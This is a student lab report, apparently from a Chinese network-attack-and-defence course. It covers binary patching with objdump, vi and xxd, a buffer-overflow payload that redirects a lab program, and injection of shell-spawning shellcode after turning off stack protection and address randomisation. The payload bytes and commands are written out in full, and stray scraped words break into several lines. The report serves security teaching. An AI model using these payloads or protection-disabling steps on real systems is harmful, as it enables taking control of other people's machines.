2018-2019-2 網絡對抗技術 20165329 Exp1 PC平臺逆向破解

2018-2019-2 網絡對抗技術 20165329 Exp1 PC平臺逆向破解linux

做業內容shell

評分標準:編程

  1. 截圖要求:

  1.1 全部操做截圖主機名爲本人姓名拼音windows

  1.2 所編輯的文件名包含本身的學號sass

  如未按如上格式要求,則相應部分報告內容不記成績。安全

2 報告內容網絡

  2.1 用本身的話回答如下問題:dom

      2.1.1  實驗收穫與感想函數

      2.1.2  什麼是漏洞?漏洞有什麼危害?spa

  2.2 須要描述的內容  

      2.2.1掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(0.5分)

      2.2.2掌握反彙編與十六進制編程器 (0.5分)

      2.2.3能正確修改機器指令改變程序執行流程(0.5分)

      2.2.4能正確構造payload進行bof攻擊(0.5分)

     

3.報告總體觀感

  3.1 報告格式範圍,版面整潔 加0.5。

  3.2 報告排版混亂,加0分。

4.文字表述

  4.1報告文字內容很是全面,表述清晰準確 加1分。

  4.2報告邏輯清楚,比較簡要地介紹了本身的操做目標與過程 加0.5分。

  4.3報告邏輯混亂表述不清或文字有明顯抄襲可能 加0分。

實驗收穫與感想

       經過此次實驗,讓我對本次實驗的緩衝區溢出攻擊的原理有了必定的瞭解。經過詢問同窗,查考網上資料慢慢的一步一步解決了實驗的難點,雖然對這次實驗的原理沒有理解的那麼深刻,可是仍是受益不淺,更加喜歡上了這門課程。

什麼是漏洞?漏洞有什麼危害?

       我以爲漏洞是在設計製造程序產品時,只考慮該程序的功能實現,未充分考慮其安全性的問題,致使程序在安全策略上存在缺陷,使得攻擊者可利用該缺陷進行破環與攻擊。它的危害可能會取得該程序的控制權,進而經過命令控制整個主機,致使受到攻擊。

NOP, JNE, JE, JMP, CMP彙編指令的機器碼

  • NOP彙編指令:執行到NOP指令時,CPU僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。
  • JNE彙編指令:條件轉移指令,若是不相等則跳轉。
  • JE彙編指令:若是條件相等則跳轉。
  • JMP彙編指令:直接跳轉到所需跳轉的位置。
  • CMP彙編指令:減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

任務1、直接修改程序機器指令,改變程序執行流程

    一、首先將pwn1文件經過共享文件夾傳入虛擬機當中,經過chmod +x pwn1指令加權限,而後objdump -d pwn1,反彙編pwn1文件。

    

    二、反彙編結束後發現:main函數裏面有一步call 8048491<foo>,機器碼指令爲e8 d7 ff ff ff(call的機器碼就是e8,後面是地址)。

    經過進一步的分析:08048491是0804847d是咱們的跳轉目標。

0x08048491 - 0x0804847d = 0x00000014//計算地址差

0xffffffd7 - 0x00000014 = 0xffffffc3//計算要篡改的目標地址

 

  • vi pwn1進入命令模式
  • 輸入:%!xxd將顯示模式切換爲十六進制
  • 在底行模式輸入/e8 d7定位須要修改的地方,並確認
  • 進入插入模式,修改d7c3
  • 輸入:%!xxd -r將十六進制轉換爲原格式
  • 使用wq保存並退出

 

 

 

經過上述步驟看見個人main函數裏面已經修改成e8 c3 ff ff ff

四、執行./pwn1文件能夠成功獲取shell:

 

完成第一個實驗。

2、經過構造輸入參數,形成BoF攻擊,改變程序執行流

一、

    使用gdb命令,file pwn1載入pwn1文件,輸入gdb pwn1

    輸入r執行pwn1,這時程序正常執行,在foo子函數調用的過程當中,須要咱們輸入一個字符串。

    輸入36個字符後回車:abcdefghijklmnopqrstuvwxyz1234567890

二、

    此時eip寄存器中的值爲0x30393837eip寄存器的值是保存程序下一步所要執行指令的地址,本次實驗用的是小端機器,30、3九、3八、37分別是0、九、八、7對應的ASCII碼,那麼也就是說最後4位恰好完成溢出,覆蓋掉返回地址了。

    咱們須要使用perl語句,用管道的方式把上一個命令的結果做爲下一個的輸入。

    使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。攻擊成功之後出現的截圖:

完成第二個實驗。

3、注入Shellcode並執行

  • shellcode就是一段機器指令(code)
  • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
  • 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
  • 首先使用apt-get install execstack命令安裝execstack。

 

修改如下內容

 

  • 設置堆棧可執行execstack -s pwn1
  • 查詢文件的堆棧是否可執行 execstack -q pwn1
  • 關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space
  • 查詢地址隨機化是否關閉(0表明關閉,2表明開啓)more /proc/sys/kernel/randomize_va_space

    • 採用老師提供的shellcode 的代碼
      \x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
    • 用perl語言輸入代碼
      perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    • 上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們把它改成這段shellcode的地址。

肯定返回地址的值

    • 將寫好的代碼經過管道方式輸入給程序pwn1中的foo函數進行覆蓋
      (cat input_shellcode;cat) | ./pwn1
    • 打開另一個終端,用gdb來調試pwn1這個進程
      • ps -ef | grep pwn1肯定pwn1的進程號
      • 啓動gdb調試這個程序 gdb attach 5305

  • 設置斷點來查看注入buf的內存地址disassemble foo
  • ret的地址爲 0x080484ae,ret完就會跳到咱們覆蓋的返回地址了
  • break *0x080484ae設置斷點
  • 在另外一個終端按下回車,這樣程序就會執行以後在斷點處停下來
  • 再在gdb調試的終端輸入 c 繼續運行程序
  • 經過info r esp查看esp寄存器的地址

  • 下圖能夠看到0x01020304所在的地址爲0xffffd22c,那麼注入的shellcode代碼的地址應該在該地址後四個字節的位置,即

0xffffd22c + 0x00000004 = 0xffffd230

  • 退出gdp調試。

  • 輸入

perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 執行程序,攻擊成功

第三個實驗完成

相關文章
相關標籤/搜索